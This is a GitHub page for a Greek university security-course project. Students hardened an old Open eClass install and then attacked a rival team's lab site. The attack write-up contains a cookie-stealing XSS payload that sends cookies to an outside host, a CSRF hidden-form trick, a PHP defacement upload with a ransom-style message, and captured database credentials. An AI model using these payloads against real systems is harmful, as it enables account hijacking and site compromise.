https://github.com/tech-gian/eclass-penetration-test
🔒🛡️🌐Eclass penetration testing for the first project of course "Computer Systems Protection and Security"
https://github.com/tech-gian/eclass-penetration-test
mysql penetration-testing php
Last synced: about 2 months ago
JSON representation
🔒🛡️🌐Eclass penetration testing for the first project of course "Computer Systems Protection and Security"
- Host: GitHub
- URL: https://github.com/tech-gian/eclass-penetration-test
- Owner: tech-gian
- License: mit
- Created: 2023-08-07T09:55:08.000Z (almost 3 years ago)
- Default Branch: main
- Last Pushed: 2023-08-07T09:59:48.000Z (almost 3 years ago)
- Last Synced: 2025-02-16T18:01:49.837Z (over 1 year ago)
- Topics: mysql, penetration-testing, php
- Language: PHP
- Homepage: https://ys13.chatzi.org/
- Size: 14.5 MB
- Stars: 0
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
## Open eClass 2.3
Το repository αυτό περιέχει μια __παλιά και μη ασφαλή__ έκδοση του eclass.
Προορίζεται για χρήση στα πλαίσια του μαθήματος
[Προστασία & Ασφάλεια Υπολογιστικών Συστημάτων (ΥΣ13)](https://ys13.chatzi.org/), __μην τη
χρησιμοποιήσετε για κάνενα άλλο σκοπό__.
### Χρήση μέσω docker
```
# create and start (the first run takes time to build the image)
docker-compose up -d
# stop/restart
docker-compose stop
docker-compose start
# stop and remove
docker-compose down -v
```
To site είναι διαθέσιμο στο http://localhost:8001/. Την πρώτη φορά θα πρέπει να τρέξετε τον οδηγό εγκατάστασης.
### Ρυθμίσεις eclass
Στο οδηγό εγκατάστασης του eclass, χρησιμοποιήστε __οπωσδήποτε__ τις παρακάτω ρυθμίσεις:
- Ρυθμίσεις της MySQL
- Εξυπηρέτης Βάσης Δεδομένων: `db`
- Όνομα Χρήστη για τη Βάση Δεδομένων: `root`
- Συνθηματικό για τη Βάση Δεδομένων: `1234`
- Ρυθμίσεις συστήματος
- URL του Open eClass : `http://localhost:8001/` (προσοχή στο τελικό `/`)
- Όνομα Χρήστη του Διαχειριστή : `drunkadmin`
Αν κάνετε κάποιο λάθος στις ρυθμίσεις, ή για οποιοδήποτε λόγο θέλετε να ρυθμίσετε
το openeclass από την αρχή, διαγράψτε το directory, `openeclass/config` και ο
οδηγός εγκατάστασης θα τρέξει ξανά.
## 2023 Project 1
Εκφώνηση: https://ys13.chatzi.org/assets/projects/project1.pdf
### Μέλη ομάδας
- 1115201900207, Φραγκούλης Θεόδωρος ([theofrag](https://github.com/theofrag))
- 1115201900059, Ζαπάντης Ιώαννης ([tech-gian](https://github.com/tech-gian))
### Report
### Defense
#### Sql Injections
Η προστασία του site από αυτού του είδους την επίθεση έγινε σε 2 στάδια. Αρχικά, παρατηρήσαμε πολλές από τις ενέργειες ενός χρήστη
στα modules που αναφέρονται στην εκφώνηση αλλά και σε γενικές λειτουργίες του site και ασφαλίσαμε όλα τα σημεία, τα οποία προερχόντουσαν από κάποια είσοδο του χρήστη, είτε αυτό ήταν ένα πεδίο σε κάποια φόρμα, είτε απευθείας στο url ως παράμετρο είτε
σε κάποιο request απευθείας στον server. Στη συνέχεια, ελέγξαμε μεγάλο μέρος του κώδικα του project για να ασφαλίσουμε όλα τα
σημεία που τυχώς μας ξέφυγαν κατά το 1ο στάδιο. Τέλος, ασφαλίσαμε και όλες τις λειτουργίες που μπορεί να κάνει ο διαχειριστής, με τη λογική ότι αν κάτι μας διέφυγε και ένας κακόβουλος χρήστης, κατάφερνε να πάρει πρόσβαση στα στοιχεία του διαχειριστή, να μη
καταφέρει να κάνει κάποια άλλη ενέργεια από αυτές που του επιτρέπει το site.
Η ασφάλεια έγινε με τη βοήθεια της βιβλιοθήκης `mysqli` και συγκεκριμένα των συναρτήσεων, που θα βρεθούν σε διάφορα σημεία στον κώδικα:
- `$conn->prepare()`
- `bind_param()`
- `execute()`
- `get_result()`
- `fetch_assoc()`
- `mysqli_num_rows()`
Τα ακριβή αρχεία που έχουν ασφαλιστεί μπορούν να φανούν στα commits που έχουν γίνει, αλλά ακόμα και στα ονόματα των commits, μιας και σχεδόν κάθε commit, αφορά ένα αρχείο.
#### Remote File Inclusion
Για τη προστασία του site από αυτού του είδους την επίθεση έγινε κυρίως στα modules `Εργασίες` και `Ανταλλαγή Αρχείων`. Και στα 2 modules ακολουθήθηκαν οι παρακάτω λογικές:
- Αρχικά, τα αρχεία που γίνονται upload μετονομάζονται με τυχαία ονόματα, με τα οποία και αποθηκεύονται στον server. Το αρχικό τους όνομα αποθηκεύεται στη βάση δεδομένων, για κάποιο μελλοντικό download. Αυτό γίνεται για να μη μπορεί ένας κακόβουλος χρήστης να τα εντοπίσει.
- Στη περίπτωση `Εργασίες`, ακολουθείται η ίδια λογική και στην ονομασία του φακέλου της κάθε εργασίας.
- Στη συνέχεια, κατά την αποθήκευση των αρχείων, αυτά μετατρέπονται σε .txt αρχεία, ώστε να μην είναι εκτελέσιμα (στη περίπτωση, για παράδειγμα, που κάποιος κακόβουλος χρήστης ανεβάσει κάποιο .php αρχείο ή παρόμοιας κατάληξης). Κατά το download, μετατρέπονται και πάλι στην αρχική τους κατάληξη.
- Τέλος, κατά τη δημιουργία φακέλων για κάθε course (κατά τη `Δημιουργία μαθήματος`), δημιουργείται σε κάθε φάκελο και ένα index.html, το οποίο απλά αναφέρει ότι ο χρήστης δεν έχει πρόσβαση στο folder. Αυτό συμβαίνει, ώστε ένας κακόβουλος χρήστης να μην έχει πρόσβαση να δει τα περιεχόμενα των φακέλων `work` ή `dropbox`.
#### XSS
To site στην αρχή δεν είχε καμμία προστασία για xss attacks. Προστέθηκε σε όλα τα modules η συνάρτηση htmlspecialchars() ή το alias q().
Επίσης χρησιμοποιήθηκε η βιβλιοθήκη htmlpurifier ώστε σε φόρμες που το body θα έπρεπε να είναι μορφοποιημένο(πχ bold,italic tags κτλπ) να
παρουσιάζονται κανονικά στον χρήστη.
Έγινε έλεγχος για την ασφάλιση απο XSS attacks και όταν γίνεται edit κάποιο modules.
Επίσης ασφαλίστηκαν όλα τα κομμάτια του admin θεωρόντας πως αν ο επιτηθέμενος αποκτησει πρόσβαση, δεν θα πρέπει να μπορεί να εκτελέσει
κανένα script-ακι.
Τέλος η συνάρτηση htmlspecialchars εφαρμόστηκε και στην μεταβλήτη $_SERVER['PHP_SELF'].
### Attack
Βρέθηκαν ευπάθειες απο XSS σε πολλά σημεία του αντίπαλου site.
Το κύριο XSS attack έγινε μέσω της περιοχής συζητήσεων.
Στο "Περιοχες Συζητήσεων->Γενικές συζητήσεις" ανοίξαμε "Νέο θέμα"
Έκει μέσω του εργαλείου "Μεταβασή σε κώδικα html" στο σώμα μηνύματος
βάλαμε το script-ακι :
```
var xhr = new XMLHttpRequest();
xhr.open('GET',
'http://securenet.puppies.chatzi.org/cookie_stealer_writer.php/?cookie=' +
encodeURIComponent(document.cookie));
xhr.send();
```
Στο http://securenet.puppies.chatzi.org/cookie_stealer_writer.php εχουμε
φτιάξει ενα php script που παίρνει το cookie και το γράφει σε ένα αρχείο
το cookie.txt.
Ύστερα στείλαμε μήνυμα στον admin να διαβάσει το θέμα στις περιοχές
συζητήσεων.
Στην συγκεκριμένη περίπτωση είναι το "Serious question for eclass
enhanced" που περιέχει το XSS attack.
Αφου πήραμε το cookie του αντιπαλου με inspect->console και
document.cookie = "το cookie που κλέψαμε" συνδεθήκαμε ως διαχειριστής.
Μέσω του
http://hackmelikeyoudo.csec.chatzi.org/modules/admin/eclassconf.php
βρήκαμε τον κωδικό της βάσης δεδομένων και το username.
Ο κωδικός είναι Pf7xhe4jM7.
Έχοντας κωδικό ΒΔ συνδεθήκαμε στο
http://hackmelikeyoudo.csec.chatzi.org/modules/admin/mysql/
username: root
password: Pf7xhe4jM7
Απο την βάση δεδομένων στον πίνακα eclass.user πήραμε τον hashed κώδικο
του admin ο οποιος είναι ο 0350dda90d4d6840b442c0bef46f7873
Ύστερα δώσαμε πρόσβαση ως διαχειριστή στον test user μας κάνοντας insert
του user_id του στον πίνακα eclass.admin.
username: test
password: password.
Θα αλλάζαμε και τον κωδικό του drunkadmin μέσω της σελίδας:
http://hackmelikeyoudo.csec.chatzi.org/modules/admin/password.php
αλλα κάποιο bug στον κώδικα του αντίπαλου site δεν ενημερώνει τον κωδικό
στην βάση.
Ωστόσο ο κωδικός του μπορεί να αλλάξει απευθείας απο την ΒΔ αφού έχουμε
πρόσβαση.
Το defacement έγινε μεσω RFI
Αλλα xss attacks που γίνονται είναι μεσω:
- xss στην αλλαγη του προφιλ μου. Εισάγουμε το script-ακι εκεί
Ο admin μπαίνει σε μαθημα->στατιστικα χρησης->επισκεψεις χρηστων στο μαθημα και τρώει το xss
- Tηλεσυνεργασια, γράφοντας το script-ακι εκεί. Όποιος ανοίξει την τηλεσυνεργασία τρώει το xss attack
#### CSRF
Για την αντιμετώπιση των CSRF παράγεται ένα τυχαιο token στο session, το οποίο στέλνεται απο ενα hidden field σε κάθε φορμα που στέλνεται.
Ύστερα υπάρχει η συνάρτηση validate_csrf_token που ελέγχει αν έχει σταλθεί token
και αν το token που στάλθηκε είναι το token που είναι αποθηκευμένο στο session.
### Attack
Σε αυτό το σημείο αφού είχαμε δικαιώματα admin δεν χρειαζόταν να στέλνουμε email, όποτε πειραματιστήκαμε με διάφορα csrf attacks.
To κυριότερο ήταν να στείλουμε με mail στον admin έναν σύνδεσμο που τον έστελνε στο site μας http://securenet.puppies.chatzi.org/csrfattack.html.
Απο εκεί υπήρχε μια κρυμμένη φόρμα που έκανε post request στο http://hackmelikeyoudo.csec.chatzi.org/modules/course_tools/course_tools.php?submit=yes&action=2.
Αυτό δημιουργούσε έναν νέο σύνδεσμο στο μάθημα.
Για να εκτελεστεί με επιτυχία θα έπρεπε ο admin να έχει μπεί πρώτα στο μάθημα.
Αυτό το καταφέραμε εύκολα με ένα iframe που έκανε request στο http://hackmelikeyoudo.csec.chatzi.org/courses/TMA104/.
Πρώτα εκτελείται το iframe και μετά το post request απο κώδικα js. Ο html/js κώδικας μπορεί να προσαρμοστεί για να γίνει πιο πειστικός. Στην θέση του συνδέσμου θα μπορούσε να είναι ένα link σε δική μας σελίδα που θα κλέβει το cookie του αντιπάλου ή θα εκτελεί άλλα attacks
#### Sql Injections
Προσπαθήσαμε σε διάφορα σημεία της εφαρμογής να βρούμε κάποιο κενό ασφαλείας για αυτού του είδους την επίθεση. Αυτό προσπάθησε να γίνει
είτε μέσα από κάποιο πεδίο είτε από κάποια παράμετρο σε εκάστοτε url. Δε καταφέραμε να βρούμε κάποιο vulnerability, είτε από ορθή
εργασία της αντίπαλης ομάδας στο κομμάτι της άμυνας από αυτή την επίθεση είτε λόγω κάποιας δικής μας αστοχίας στα attacks.
#### Remote File Inclusion
Για τη συγκεκριμένη επίθεση, αρχικά δοκιμάσαμε να παραβιάσουμε το module των `Εργασιών` ή της `Ανταλλαγής Αρχείων`. Παρότι είχαμε πρόσβαση
στο να διαβάσουμε μέσα στα folders που αποθηκεύονται τα αρχεία που γίνονται upload από τον χρήστη, δεν είχε κάποιο νόημα για εμάς, διότι
η αντίπαλη ομάδα είχε εφαρμόσει κάποιου είδους whitelist στη κατάληξη των αρχείων που μπορούσαν να γίνουν upload και άρα δε καταφέραμε
να ανεβάσουμε κάποιο αρχείο με κακόβουλο εκτελέσιμο κώδικα μέσα του. Αν το site θεωρείται μη λειτουργικό με τη χρήση της whitelist και
σε περίπτωση που δεν την είχαν εφαρμόσει, τότε θα μπορούσαμε να εκτελέσουμε τα αρχεία που ανεβάζουμε σε αυτά τα modules, μιας και μπορούμε
να τα διαβάσουμε.
Ύστερα, βέβαια από απόκτηση του κωδικού του διαχειριστή (επιτεύχθηκε μέσω XSS attack), καταφέραμε να έχουμε πρόσβαση στο `/modules/import/import.php`
μέσω του οποίου ανεβάσαμε ένα δικό μας αρχείο .php, το οποίο εκτελέσαμε και αλλάξαμε τη κεντρική σελίδα του αντίπαλου site, σε μία δική μας
index.php. Το συγκεκριμένο defacement, αναφέρθηκε και σε email που στάλθηκε στον drunkadmin.
Το php αρχείο που ανέβηκε ήταν αυτό που άλλαζε την αρχική σελίδα του αντίπαλου site.
O html κώδικας είναι ο παρακάτω:
```
You have been hacked
body {
background-color: #1c1c1c;
color: #e8e8e8;
font-size: 80px;
text-align: center;
margin-top: 200px;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
h1 {
color: #ff5a5f;
text-shadow: 2px 2px 4px #000000;
}
p {
color: #f7b733;
text-shadow: 1px 1px 2px #000000;
}
You have been hacked by SecureNet
We've taken control of your system and there's nothing you can do about it.
Your files are ours now. Pay up or suffer the consequences.
SecureNet doesn't mess around.
```
Ύστερα ανεβάσαμε και το αρχείο με τον παρακάτω κώδικα:
```
$old_name = "newIndex.php.php";
$new_name = "/var/www/openeclass/index.php";
if(rename($old_name, $new_name)) {
echo "File renamed successfully.";
} else {
echo "Error renaming file.";
}
```
Μετά την εκτέλεση του παραπάνω κώδικα αλλάξαμε την αρχική σελίδα του χρήστη.